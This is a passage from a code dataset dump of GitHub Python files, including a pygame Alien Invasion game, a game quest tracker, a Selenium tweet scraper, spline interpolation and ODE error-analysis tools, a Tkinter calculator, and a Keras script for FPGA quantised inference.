True\n\n","repo_name":"foreverxujiahuan/algorithm","sub_path":"数组/lc1630.py","file_name":"lc1630.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"24977498943","text":"import pygame\nimport sys\nfrom time import sleep\nfrom ship import Ship\nfrom settings import Settings\nfrom bullet import Bullet\nfrom alien import Alien\nfrom game_stats import GameStats\nfrom button import Button\nfrom scoreboard import Scoreboard\n\nclass AlienInvasion:\n # Overall class to manage the game\n def __init__(self):\n # Initialize game and create resources\n self.settings = Settings()\n\n def initialize_game(self):\n # Initialize Pygame and create resources\n pygame.init()\n self.screen = pygame.display.set_mode((self.settings.screen_width, self.settings.screen_height))\n # Create instance of stats class\n self.stats = GameStats(self)\n # Start game in inactive state\n self.game_active = False\n # Create ship\n self.ship = Ship(self)\n # Create sprite groups for bullets and aliens\n self.bullets = pygame.sprite.Group()\n self.aliens = pygame.sprite.Group()\n # Create fleet of aliens\n self.create_fleet()\n # Set game window caption\n pygame.display.set_caption(\"Alien Invasion\")\n # Make the play button\n self.play_button = Button(self, \"Play\")\n # Initialize the scoreboard \n self.sb = Scoreboard(self)\n\n def check_events(self):\n # Respond to keypresses and mouse events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n self.check_keydown_events(event)\n elif event.type == pygame.KEYUP:\n self.check_keyup_events(event)\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n self.check_play_button(mouse_pos)\n \n def check_play_button(self, mouse_pos):\n button_clicked = self.play_button.rect.collidepoint(mouse_pos)\n if button_clicked and not self.game_active:\n # If play button is clicked, set game to active\n self.game_active = True\n # hide the mouse once the game is active\n pygame.mouse.set_visible(False)\n # Reset game\n self.stats.reset_stats()\n # Clear remaining bullet\n self.bullets.empty()\n # Clear remaining aliens \n self.aliens.empty()\n # Create new fleet and center the ship\n self.create_fleet()\n self.ship.center_ship()\n # Reset the scoreboard\n self.sb.prep_score()\n # Initialize the dynamic settings\n self.settings.initialize_dynamic_settings()\n\n def check_keydown_events(self, event):\n # Respond to keypresses\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = True\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = True\n elif event.key == pygame.K_SPACE:\n self.fire_bullets()\n elif event.key == pygame.K_q:\n sys.exit()\n\n def check_keyup_events(self, event):\n # Respond to key releases\n if event.key == pygame.K_RIGHT:\n self.ship.moving_right = False\n elif event.key == pygame.K_LEFT:\n self.ship.moving_left = False\n\n def update_screen(self):\n # Update the screen\n self.screen.fill(self.settings.bg_color)\n self.ship.draw_ship()\n self.aliens.draw(self.screen)\n # Draw the scoreboard\n self.sb.show_scoreboard()\n for bullet in self.bullets.sprites():\n bullet.draw_bullet()\n if not self.game_active:\n self.play_button.draw_button()\n pygame.display.flip()\n\n def fire_bullets(self):\n # Check if player has used max allowed bullets\n if len(self.bullets) < self.settings.max_bullets:\n # Create a new bullet and add it to the bullets group\n new_bullet = Bullet(self)\n self.bullets.add(new_bullet)\n\n def update_bullets(self):\n self.bullets.update()\n # Get rid of bullets that have disappeared\n for bullet in self.bullets.copy():\n if bullet.rect.bottom <= 0:\n self.bullets.remove(bullet)\n\n def update_fleet(self):\n # Delete any bullets and aliens which have collided \n collisions = pygame.sprite.groupcollide(self.bullets, self.aliens, True, True)\n # Repopulate fleet if it has been destroyed, increase alien speed\n if not self.aliens:\n self.bullets.empty()\n self.create_fleet()\n self.settings.increase_speed()\n # Increment level \n self.stats.level += 1\n self.sb.prep_level()\n self.sb.prep_ships()\n # Increment score when aliens are hit\n if collisions:\n for aliens in collisions.values():\n self.stats.score += self.settings.alien_points * len(aliens)\n self.sb.prep_score()\n self.sb.check_high_score()\n \n def create_fleet(self):\n # Create the fleet of aliens\n alien = Alien(self)\n alien_width, alien_height = alien.rect.size\n current_x, current_y = alien_width, alien_height\n # While loop to create fleet while there is space\n while current_y < (self.settings.screen_height - 3 * alien_height):\n while current_x < (self.settings.screen_width - 2 * alien_width):\n self.create_alien(current_x, current_y)\n current_x += 2 * alien_width\n # Finish a row, reset X value and increment Y value\n current_x = alien_width\n current_y += alien_height * 2\n\n def change_fleet_direction(self):\n for alien in self.aliens.sprites():\n # Increment Y value after hitting edge, dropping down\n alien.rect.y += self.settings.fleet_drop_speed\n # Reverse direction of travel\n self.settings.fleet_direction *= -1\n\n def check_fleet_edges(self):\n for alien in self.aliens.sprites():\n # Check is alien is at an edge\n if alien.check_edges():\n # If alien is at an edge, change direction\n self.change_fleet_direction()\n break\n\n def create_alien(self, x_position, y_position):\n # Instantiate new alien\n new_alien = Alien(self)\n # Initialize new alien's X position\n new_alien.x = x_position\n new_alien.rect.x = x_position\n # Initialize new alien's Y position\n new_alien.rect.y = y_position\n # Add new alien to sprites group\n self.aliens.add(new_alien)\n\n def update_aliens(self):\n # Check if fleet of aliens is at an edge\n self.check_fleet_edges()\n # Update the alien fleet\n self.aliens.update()\n if pygame.sprite.spritecollideany(self.ship, self.aliens):\n self.ship_hit()\n # Check if an alien has hit the bottom of the screen\n self.check_aliens_bottom()\n\n def ship_hit(self):\n # Respond to ship being hit by decrementing number of remaining ships and resetting game\n if self.stats.ships_left > 0:\n self.stats.ships_left -= 1\n self.sb.prep_ships()\n # Get rid of remaining bullets and aliens\n self.bullets.empty()\n self.aliens.empty()\n # Create a new fleet and center the ship\n self.create_fleet()\n self.ship.center_ship()\n # Sleep for one second\n sleep(1)\n else:\n self.game_active = False\n pygame.mouse.set_visible(True)\n\n def check_aliens_bottom(self):\n # Check if any aliens have reached the bottom of the screen\n for alien in self.aliens.sprites():\n if alien.rect.bottom > self.settings.screen_height:\n # Treat this the same as the ship being hit by an alien\n self.ship_hit()\n break\n\n def run_game(self):\n # Start the main loop for the game\n while True:\n self.check_events()\n \n if self.game_active:\n #self.check_events()\n self.ship.update()\n self.update_bullets()\n self.update_fleet()\n self.update_aliens()\n # Keep updating screen even when game is inactive \n self.update_screen()\n\nif __name__ == '__main__':\n # Make a game instance and run the game\n game = AlienInvasion()\n game.initialize_game()\n game.run_game()","repo_name":"AaronS97/AlienInvasion","sub_path":"alien_invasion.py","file_name":"alien_invasion.py","file_ext":"py","file_size_in_byte":8572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33481877514","text":"from src.etc import constants, story_data\n\n\"\"\"\nstory_tracker.py\n\nThis file holds information about\nthe players current tasks and inventory\n\"\"\"\n\n\nclass StoryTracker:\n\n def __init__(self, master):\n\n self.master = master\n\n self.inventory = {}\n self.quests = {}\n self.quests_completed = {}\n self.completed_quests = {}\n self.objective_progress = {}\n\n self.quests_been_updated = False\n\n self.quest_updates = {\n \"learn_fight\": self.update_old_man,\n \"liberate_village\": self.update_dan,\n \"defend_wizard\": self.update_wizard\n }\n\n def load_from_save(self, save_data):\n\n self.inventory = save_data[\"inventory\"]\n self.quests = save_data[\"quests\"]\n self.quests_completed = save_data[\"quests_completed\"]\n self.completed_quests = save_data[\"completed_quests\"]\n self.objective_progress = save_data[\"objective_progress\"]\n\n if len(self.quests.keys()) > 0:\n self.set_quest_updated()\n\n def get_story_data(self):\n\n return {\"inventory\": self.inventory,\n \"quests\": self.quests,\n \"quests_completed\": self.quests_completed,\n \"completed_quests\": self.completed_quests,\n \"objective_progress\": self.objective_progress}\n\n def add_item(self, item, amount):\n\n if item in self.inventory.keys():\n self.inventory[item][0] += amount\n else:\n self.inventory[item] = [amount, constants.item_display_names[item]]\n\n def can_use_item(self, item, amount):\n\n if item not in self.inventory.keys():\n self.add_item(item, 0)\n return False\n else:\n return amount > self.get_amount_of(item)\n\n def get_amount_of(self, item):\n\n return 0 if item not in self.inventory.keys() else self.inventory[item][0]\n\n def use_item(self, item, amount):\n\n self.inventory[item][0] -= amount\n\n if not self.get_amount_of(item):\n self.delete_item(item)\n\n def delete_item(self, item):\n\n del self.inventory[item]\n\n def add_quest(self, quest):\n\n if quest not in self.quests.keys():\n\n if type(story_data.completion_criteria[quest]) is tuple:\n new_quest = {}\n for criteria in story_data.completion_criteria[quest]:\n new_quest[criteria] = False\n\n self.objective_progress[quest] = new_quest\n\n self.quests[quest] = story_data.quests[quest]\n self.set_quest_updated()\n\n def remove_quest(self, quest):\n\n if quest in self.quests.keys():\n\n # if quest in self.objective_progress:\n # del self.objective_progress[quest]\n\n del self.quests[quest]\n self.set_quest_updated()\n\n def follow_path(self, quest):\n\n for new_quest in story_data.quest_path[quest]:\n self.add_quest(new_quest)\n\n self.mark_completed(quest)\n\n def set_quest_updated(self):\n\n self.quests_been_updated = True\n\n def set_quests_seen(self):\n\n self.quests_been_updated = False\n\n def to_see_quests(self):\n\n return self.quests_been_updated\n\n def mark_completed(self, quest):\n\n self.quests_completed[quest] = True\n self.completed_quests[quest] = story_data.quests[quest]\n self.remove_quest(quest)\n\n def is_complete(self, quest):\n\n return self.quests_completed[quest]\n\n def purge_completed(self):\n\n self.completed_quests.clear()\n\n def check_complete(self, quest_criteria):\n\n quests_to_follow = []\n\n for path in story_data.quest_path.items():\n if quest_criteria[1] in path[1] and not self.is_complete(path[0]):\n quests_to_follow += [path[0]]\n\n [self.follow_path(quest) for quest in quests_to_follow]\n\n for quest in self.quests.items():\n for criteria in story_data.completion_criteria[quest[0]]:\n if criteria.split(\"/\") == quest_criteria:\n if quest[0] in self.objective_progress:\n self.objective_progress[quest[0]][criteria] = True\n\n if all([n[1] for n in list(self.objective_progress[quest[0]].items())]):\n quests_to_follow += [quest[0]]\n if quest[0] in self.quest_updates:\n self.quest_updates[quest[0]]()\n else:\n quests_to_follow += [quest[0]]\n if quest[0] in self.quest_updates:\n self.quest_updates[quest[0]]()\n\n [self.follow_path(quest) for quest in quests_to_follow]\n\n def update_dan(self):\n\n self.master.chunk_controller.locate_entity(12).meta.interaction = \\\n \"\"\"self.master.dialogue_controller.start_scene(self.player.beans[0], self.enemy_to_duel, 'dan', \nNone, 0);self.master.switch_to(3)\"\"\"\n\n def update_old_man(self):\n e = self.master.chunk_controller.locate_entity(3)\n\n e.meta.interaction = \\\n \"\"\"self.master.dialogue_controller.start_scene(self.player.beans[0], self.enemy_to_duel, 'old_man2', None, 0)\nself.master.switch_to(3)\"\"\"\n e.set_important()\n\n def update_wizard(self):\n e = self.master.chunk_controller.locate_entity(20)\n e.meta.interaction = \\\n \"\"\"self.master.dialogue_controller.start_scene(self.player.beans[0], self.enemy_to_duel, 'wizard', None, 0)\nself.master.switch_to(3)\"\"\"\n e.set_important()\n","repo_name":"Sigton/tims_adventure","sub_path":"src/engines/story_tracker.py","file_name":"story_tracker.py","file_ext":"py","file_size_in_byte":5589,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"18248380555","text":"import pandas as pd\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom time import sleep\r\nimport json\r\nfrom utils import login,get_tweet_info\r\nSEARCH_QUERY = \"#Cars\"\r\nMAX_TWEETS=25\r\nbrowser = webdriver.Chrome('chromedriver')\r\npassword,mail = json.load(open(\"pass.json\"))['pass'],json.load(open(\"pass.json\"))['mail']\r\nlogin(mail,password,browser)\r\nbrowser.get('https://twitter.com/explore')\r\nsleep(3)\r\nelement_search = browser.find_element_by_xpath('//*[@id=\"react-root\"]/div/div/div[2]/main/div/div/div/div/div/div[1]/div[1]/div/div/div/div/div[1]/div[2]/div/div/div/form/div[1]/div/div/div[2]/input')\r\nelement_search.send_keys(SEARCH_QUERY)\r\nelement_search.send_keys(Keys.RETURN)\r\nsleep(3)\r\nbrowser.find_element_by_link_text('Latest').click()\r\nsleep(3)\r\ndata=[]\r\ntweet_ids=set()\r\n\r\nlast_position = browser.execute_script(\"return window.pageYOffset;\")\r\nscrolling = True\r\n\r\nwhile(True):\r\n tweet_blocks = browser.find_elements_by_xpath('//div[@data-testid=\"tweet\"]')\r\n for card in tweet_blocks:\r\n tweet = get_tweet_info(card,browser)\r\n if tweet:\r\n tweet_identifier = tweet['name']+tweet['handle']+tweet['text']\r\n if tweet_identifier not in tweet_ids:\r\n tweet_ids.add(tweet_identifier)\r\n MAX_TWEETS =MAX_TWEETS -1\r\n\r\n print(MAX_TWEETS)\r\n data.append(tweet)\r\n if MAX_TWEETS <= 0:\r\n break\r\n if MAX_TWEETS <= 0:\r\n break\r\n scroll_attempt = 0\r\n while True:\r\n # check scroll position\r\n browser.execute_script('window.scrollTo(0, document.body.scrollHeight);')\r\n sleep(2)\r\n curr_position = browser.execute_script(\"return window.pageYOffset;\")\r\n if last_position == curr_position:\r\n scroll_attempt += 1\r\n \r\n # end of scroll region\r\n if scroll_attempt >= 3:\r\n scrolling = False\r\n break\r\n else:\r\n sleep(2) # attempt another scroll\r\n else:\r\n last_position = curr_position\r\n break\r\nbrowser.close()\r\nwith open('TWEETS.json', 'w') as fout:\r\n json.dump(data , fout)\r\n\r\n","repo_name":"krishshah99615/twitter-selenium-scrapper","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73216928833","text":"import numpy as np\r\nimport sympy\r\n\r\n\r\ndef divided_difference(left, right, f, x_list):\r\n if right == left:\r\n return f(x_list[left])\r\n return (divided_difference(left + 1, right, f, x_list) - divided_difference(left, right - 1, f, x_list)) / (\r\n x_list[right] - x_list[left])\r\n\r\n\r\ndef h(i, x_list):\r\n return x_list[i] - x_list[i - 1]\r\n\r\n\r\ndef mu(i, x_list):\r\n return h(i, x_list) / (h(i, x_list) + h(i + 1, x_list))\r\n\r\n\r\ndef lamda(i, x_list):\r\n return h(i + 1, x_list) / (h(i, x_list) + h(i + 1, x_list))\r\n\r\n\r\ndef p(i, m, f, x_list):\r\n return divided_difference(i, i + 1, f, x_list) + (h(i + 1, x_list) / 6) * (m[i] - m[i + 1])\r\n\r\n\r\ndef q(i, m, f, x_list):\r\n return f(x_list[i]) - ((h(i + 1, x_list) ** 2) / 6) * m[i]\r\n\r\n\r\ndef calc(f, x_list):\r\n n = len(x_list) - 1\r\n\r\n # solving system of m_0 to m_n\r\n A_arr = []\r\n b_arr = []\r\n for i in range(1, n):\r\n arr = [0] * (n + 1)\r\n\r\n arr[i - 1] = mu(i, x_list)\r\n arr[i] = 2\r\n arr[i + 1] = lamda(i, x_list)\r\n\r\n A_arr.append(arr)\r\n b_arr.append(6 * divided_difference(i - 1, i + 1, f, x_list))\r\n\r\n arr = [1]\r\n arr.extend([0] * n)\r\n A_arr.append(arr)\r\n b_arr.append(0)\r\n\r\n arr = []\r\n arr.extend([0] * n)\r\n arr.append(1)\r\n A_arr.append(arr)\r\n b_arr.append(0)\r\n\r\n A = np.array(A_arr)\r\n b = np.array(b_arr)\r\n\r\n m = np.linalg.solve(A, b) # m array is calculated and it's system is solved\r\n\r\n ans = []\r\n\r\n for i in range(n):\r\n string = f\"(((x - {x_list[i]}) ** 3) / (6 * {h(i + 1, x_list)})) * {m[i + 1]}\"\r\n string += \" + \"\r\n string += f\"((({x_list[i + 1]} - x) ** 3) / (6 * {h(i + 1, x_list)})) * {m[i]}\"\r\n string += \" + \"\r\n string += f\"{p(i, m, f, x_list)} * (x - {x_list[i]}) + {q(i, m, f, x_list)}\"\r\n\r\n x = sympy.symbols(\"x\")\r\n expr = sympy.sympify(eval(string)) # simplifying the function\r\n\r\n ans.append(str(expr))\r\n\r\n return ans\r\n","repo_name":"M480I/Spline-interpolation","sub_path":"calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20077050683","text":"# coding: UTF-8\nimport jinja2\nimport os\n\n\nclass TemplateRender:\n __instance = None\n\n def __new__(cls, path):\n if cls.__instance is None:\n cls.__instance = super().__new__(cls)\n\n cls._engine = jinja2.Environment(loader=jinja2.FileSystemLoader(path))\n\n return cls.__instance\n\n def render(self, template, *args, **kwargs):\n template = self._engine.get_template(template)\n return template.render(*args, **kwargs)\n\n\ndef getFiles(dir):\n files = []\n for file in os.listdir(dir):\n if os.path.isfile(os.path.join(dir, file)) and file.endswith(\"html\"):\n files.append(file)\n return files\n\ndef getDirs(dir):\n dirs = []\n for file in os.listdir(dir):\n if not os.path.isfile(os.path.join(dir, file)):\n dirs.append(file)\n return dirs\n\ndef main():\n path = \"./view\"\n\n render = TemplateRender(path=path)\n\n for file in getFiles(path):\n print(\"Build: `%s`.\" % os.path.join(path, file).replace(\"\\\\\", \"/\"))\n data = render.render(file)\n\n with open(file, \"w\", encoding=\"UTF-8\") as fd:\n fd.write(data)\n\n\n for dir in getDirs(path):\n if dir != \"layout\":\n for file in getFiles(os.path.join(path, dir)):\n print(\"Build: `%s`.\" % os.path.join(path, dir, file).replace(\"\\\\\", \"/\"))\n data = render.render(os.path.join(dir, file).replace(\"\\\\\", \"/\"))\n\n with open(os.path.join(dir, file), \"w\", encoding=\"UTF-8\") as fd:\n fd.write(data)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"CutePotatoDev/cutepotatodev.github.io","sub_path":"build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":1575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1188083197","text":"# Submenu para el Milestone 3.\n\n\n\nfrom common.config import Config\nfrom common.menu import Menu\nfrom common.odes import Convergencia, ErrorRichardson\nfrom common.physics import Kepler\nfrom common.schemes import Euler, EulerInverso, CrankNicolson, RungeKutta, LeapFrog\n\nfrom matplotlib import pyplot as plt\n\nfrom numpy import array, linspace\nfrom numpy.linalg import norm\n\nfrom typing import Callable\n\n\n\ndef all(cfg: Config):\n # Build the temporal linear space.\n t = linspace(cfg.getitem(\"start\").value(), cfg.getitem(\"end\").value(), cfg.getitem(\"steps\").value())\n\n # Build the initial conditions.\n U0 = array([cfg.getitem(\"X0\").value(), cfg.getitem(\"Y0\").value(), cfg.getitem(\"VX0\").value(), cfg.getitem(\"VY0\").value()])\n\n # Build the order.\n order = cfg.getitem(\"order\").value()\n\n # Get the results.\n results = [(s.__name__, Convergencia(U0, t, Kepler, s, order)) for s in [Euler, EulerInverso, CrankNicolson, RungeKutta]]\n\n #Get minimum value for plotting.\n bottom = min( [ min( e ) for (s, (q, e, n)) in results] ) - 1.0\n\n # Plot all the results.\n fig, ((eu, ei), (cn, rk)) = plt.subplots(2, 2)\n\n for ((name, (q, logE, logN)), ax) in zip( results, [eu, ei, cn, rk] ):\n\n # Display information.\n ax.set_title(f\"Convergence rate of {name} (Q={q}\")\n ax.set_xlabel(\"log(N)\")\n ax.set_ylabel(\"log(E)\")\n ax.set_ylim(bottom, 0.0)\n\n ax.plot( logN, logE )\n\n plt.show()\n\ndef comp(cfg: Config, scheme: Callable, method: Callable):\n # Build the temporal linear space.\n t = linspace(cfg.getitem(\"start\").value(), cfg.getitem(\"end\").value(), cfg.getitem(\"steps\").value())\n\n # Build the initial conditions.\n U0 = array([cfg.getitem(\"X0\").value(), cfg.getitem(\"Y0\").value(), cfg.getitem(\"VX0\").value(), cfg.getitem(\"VY0\").value()])\n\n # Build the order.\n order = cfg.getitem(\"order\").value()\n\n # Call the method.\n r = method(U0, t, Kepler, scheme, order)\n\n print(r)\n\n\ndef error(cfg: Config, scheme: Callable, method: Callable):\n # Build the temporal linear space.\n t = linspace(cfg.getitem(\"start\").value(), cfg.getitem(\"end\").value(), cfg.getitem(\"steps\").value())\n\n # Build the initial conditions.\n U0 = array([cfg.getitem(\"X0\").value(), cfg.getitem(\"Y0\").value(), cfg.getitem(\"VX0\").value(), cfg.getitem(\"VY0\").value()])\n\n # Build the order.\n order, _, _ = Convergencia(U0, t, Kepler, scheme, cfg.getitem(\"order\").value())\n\n # Call the method.\n A, E, V, R = method(U0, t, Kepler, scheme, order)\n\n # Plot the error.\n fig, ((aax, eax), (vax, rax)) = plt.subplots(2, 2)\n\n # Format the title\n fig.suptitle(\"Error estimation\")\n\n # Format the vectorized relative error graph.\n aax.set_title(\"Absolute error per dimension\")\n aax.set_xlabel(\"Time [s]\")\n aax.set_ylabel(\"Absolute error\")\n aax.plot(t, A[:,0], 'r', label=\"X position\")\n aax.plot(t, A[:,1], 'g', label=\"Y position\")\n aax.plot(t, A[:,2], 'b', label=\"X velocity\")\n aax.plot(t, A[:,3], 'm', label=\"Y velocity\")\n aax.legend()\n\n # Format the absolute error graph.\n eax.set_title(\"Absolute error\")\n eax.set_xlabel(\"Time [s]\")\n eax.set_ylabel(\"Absolute normalized error\")\n eax.plot(t, E, 'r')\n\n # Format the vectorized relative error graph.\n vax.set_title(\"Relative error per dimension\")\n vax.set_xlabel(\"Time [s]\")\n vax.set_ylabel(\"Relative error [%]\")\n vax.plot(t, V[:,0] * 100.0, 'r', label=\"Position\")\n vax.plot(t, V[:,1] * 100.0, 'b', label=\"Velocity\")\n vax.legend()\n\n # Format the relative error graph.\n rax.set_title(\"Relative error\")\n rax.set_xlabel(\"Time [s]\")\n rax.set_ylabel(\"Relative normalized error [%]\")\n rax.plot(t, R * 100.0, 'r')\n\n plt.show()\n\n\n\ndef convergencia(cfg: Config):\n # Build the menu.\n menu = Menu()\n\n menu.setconfig(cfg)\n\n menu.additem(\"euler\", 1, \"Convergence Rate of Euler\", lambda cfg: comp(cfg, Euler, Convergencia))\n menu.additem(\"euinv\", 2, \"Convergence Rate of Inverse Euler\", lambda cfg: comp(cfg, EulerInverso, Convergencia))\n menu.additem(\"crank\", 3, \"Convergence Rate of Crank-Nicolson\", lambda cfg: comp(cfg, CrankNicolson, Convergencia))\n menu.additem(\"runge\", 4, \"Convergence Rate of Runge-Kutta 4\", lambda cfg: comp(cfg, RungeKutta, Convergencia))\n menu.additem(\"leap\", 5, \"Convergence Rate of Leap-Frog\", lambda cfg: comp(cfg, LeapFrog, Convergencia))\n\n menu.additem(\"all\", \"A\", \"Convergence rate for all schemes\", all)\n\n menu.menu()\n\n\n\ndef richardson(cfg: Config):\n # Build the menu.\n menu = Menu()\n\n menu.setconfig(cfg)\n\n menu.additem(\"euler\", 1, \"Richardson Error of Euler\", lambda cfg: error(cfg, Euler, ErrorRichardson))\n menu.additem(\"euinv\", 2, \"Richardson Error of Inverse Euler\", lambda cfg: error(cfg, EulerInverso, ErrorRichardson))\n menu.additem(\"crank\", 3, \"Richardson Error of Crank-Nicolson\", lambda cfg: error(cfg, CrankNicolson, ErrorRichardson))\n menu.additem(\"runge\", 4, \"Richardson Error of Runge-Kutta 4\", lambda cfg: error(cfg, RungeKutta, ErrorRichardson))\n menu.additem(\"leap\", 5, \"Richardson Error of Leap-Frog\", lambda cfg: error(cfg, LeapFrog, ErrorRichardson))\n\n menu.menu()\n","repo_name":"jahrTeaching/milestones-agserWork","sub_path":"sources/milestone3/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":5239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4654045912","text":"from tkinter import *\r\nclass Calc(Frame):\r\n def __init__(self, master=None):\r\n Frame.__init__(self,master)\r\n self.grid()\r\n self.criaComponet()\r\n \r\n \r\n def criaComponet(self):\r\n self.entrada = Entry(self.master, width=34, bd =3 )\r\n self.entrada.grid(row=1, column=0)\r\n botoes=[\"7\",\"8\",\"9\",\"+\",\"4\",\"5\",\"6\",\"*\",\"1\",\"2\",\"3\",\"/\",\"0\",\"-\",\"C\",\"=\"]\r\n linha = 1\r\n coluna =1\r\n for i in botoes:\r\n comando= lambda x=i:self.calcular(x)\r\n self.botao=Button(self, text=i, width=6, height=2, command=comando)\r\n self.botao.grid(row=linha,column=coluna)\r\n if coluna >=4:\r\n linha+=1\r\n coluna=0\r\n coluna+=1\r\n def calcular(self, valor):\r\n if valor ==\"=\":\r\n try:\r\n calculo=eval(self.entrada.get())\r\n self.entrada.insert(END, \"=\"+str(calculo))\r\n except:\r\n self.entrada.insert(END, \"ERRO\")\r\n elif valor ==\"C\":\r\n self.entrada.delete(0, END)\r\n else:\r\n if \"=\" in self.entrada.get():\r\n self.entrada.delete(0,END)\r\n self.entrada.insert(END, valor)\r\n \r\n \r\nroot =Tk()\r\na=Calc(master=root)\r\na.mainloop()\r\n","repo_name":"Marcelodsa/Codigos","sub_path":"calculadora.py","file_name":"calculadora.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17615375193","text":"__doc__='''\n\nAdd zMaxOIDPerRequest to DeviceClass.\n\n$Id:$\n'''\nimport Migrate\n\nclass MaxOIDPerRequest(Migrate.Step):\n version = Migrate.Version(1, 1, 0)\n\n def cutover(self, dmd):\n if not dmd.Devices.hasProperty(\"zMaxOIDPerRequest\"):\n dmd.Devices._setProperty(\"zMaxOIDPerRequest\", 40)\n\nMaxOIDPerRequest()\n","repo_name":"zenoss/zenoss-prodbin","sub_path":"Products/ZenModel/migrate/maxoids.py","file_name":"maxoids.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"de","doc_type":"code","stars":25,"dataset":"github-code","pt":"61"} +{"seq_id":"23476140061","text":"import sys\n\n\ndef solve(T, N):\n numbers = [False] * 10\n prev = None\n current = N\n i = 1\n while not all(numbers):\n current = N * i\n if current == prev:\n break\n prev = current\n for c in str(current):\n numbers[int(c)] = True\n i += 1\n\n if all(numbers):\n result = current\n else:\n result = 'INSOMNIA'\n print('Case #{}: {}'.format(T, result))\n\n\ndef main():\n n_cases = int(sys.stdin.readline().strip())\n for case in range(n_cases):\n N = int(sys.stdin.readline().strip())\n solve(case + 1, N)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_177/1087.py","file_name":"1087.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7191361576","text":"\r\nfrom __future__ import print_function\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom keras.utils import np_utils\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom keras.models import Sequential, Model\r\nfrom keras.layers import Dense\r\nfrom keras.callbacks import Callback, ModelCheckpoint\r\nimport argparse\r\nimport math\r\nimport keras_rt\r\nimport gemx\r\n\r\n \r\n#Quantization parameters to bring fp32 ranges to fit into int16; parameters are derived offline ( see quantize.xlsx )\r\ng_wgt_scale = [155275.3311, 121798.1115, 71553.71463]\r\n#g_post_scale = [ [44,4833804], [39.4,5345361] , [1, 2819547] ] \r\ng_post_scale = [ [5,19], [2,18] , [3,23] ] \r\ng_in_scale = 31.13053392\r\n\r\ndef train(train_fd, predictors, train_data, num_classes):\r\n \r\n # We will use a multi-layer perceptron classification model for random search.\r\n # Create model\r\n #estimator = KerasClassifier(build_fn=create_keras_model(len(predictors), len(train[target].unique())), epochs=200, batch_size=5, verbose=0)\r\n model = create_keras_model(len(predictors), num_classes )\r\n # Compile model\r\n model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\n \r\n modelcheckpoint_callback = ModelCheckpoint(\"./best_model.h5\", monitor='val_loss',mode='min', save_best_only=True, save_weights_only=True)\r\n \r\n model.fit(train_fd[predictors], train_data, epochs=200, batch_size=50, callbacks=[modelcheckpoint_callback], validation_split=0.20, shuffle=True)\r\n\r\ndef predict_hwemu ( weights, test_data, num_classes, use_fpga = False ):\r\n model = create_keras_model(test_data.values.shape[1], num_classes )\r\n model.load_weights(weights)\r\n return compute_standalone_hwemu( test_data.values, model.get_weights())\r\n\r\ndef predict_cpu ( weights, input_dim, test_data, num_classes ):\r\n model = create_keras_model(input_dim, num_classes )\r\n model.load_weights(weights)\r\n predictions = model.predict(test_data)\r\n \r\n# layer_name = 'd1'\r\n# intermediate_layer_model = Model(inputs=model.input,\r\n# outputs=model.get_layer(layer_name).output)\r\n# intermediate_output = intermediate_layer_model.predict(test_data)\r\n #return intermediate_output\r\n return predictions\r\n\r\ndef predict_fpga( args, test_data, num_classes, xclbin_prop):\r\n model = create_keras_model(test_data.values.shape[1], num_classes )\r\n model.load_weights(args.model)\r\n \r\n fpga_rt = keras_rt.KerasRT(model, test_data.values.shape[0], g_wgt_scale, g_post_scale, xclbin_prop)\r\n result = fpga_rt.predict(test_data.values, g_in_scale)\r\n\r\n #run softmax on CPU\r\n for i in range(result.shape[0]):\r\n result[i,:] = softmax(result[i,:])\r\n \r\n return result\r\n \r\ndef softmax(x):\r\n \"\"\"Compute softmax values for each sets of scores in x.\"\"\"\r\n e_x = np.exp(x - np.max(x))\r\n return e_x / e_x.sum()\r\n\r\ndef compute_dense(weight, bias, inp, scalein=1, post_scale=1):\r\n scaledin = inp*scalein\r\n inp16 = np.int16(scaledin)#input from previous stage to 16bits\r\n m64 = np.matmul(np.int64(inp16), np.int64(weight))#intermediate accumulation to 64 bits\r\n \r\n output64 = m64\r\n if bias is not None:\r\n bias64 = np.int64(bias)#bias to 64 bits\r\n output64 = m64 + bias64\r\n \r\n o64d = output64/(2**post_scale[1])\r\n #o64d = output64/post_scale[1]\r\n o64m = o64d*post_scale[0]\r\n output = np.int16(o64m)#scale down for 16 bits\r\n return output\r\n \r\ndef compute_standalone_hwemu( inp, wb ):\r\n weights = wb[0::2]\r\n bias = wb[1::2]\r\n\r\n #quantization\r\n w_int16 = [ np.int16(a*b) for a,b in zip(weights, g_wgt_scale)]\r\n b_int32 = [ np.int32(a*b) for a,b in zip(bias, g_wgt_scale)]\r\n \r\n o1 = compute_dense ( 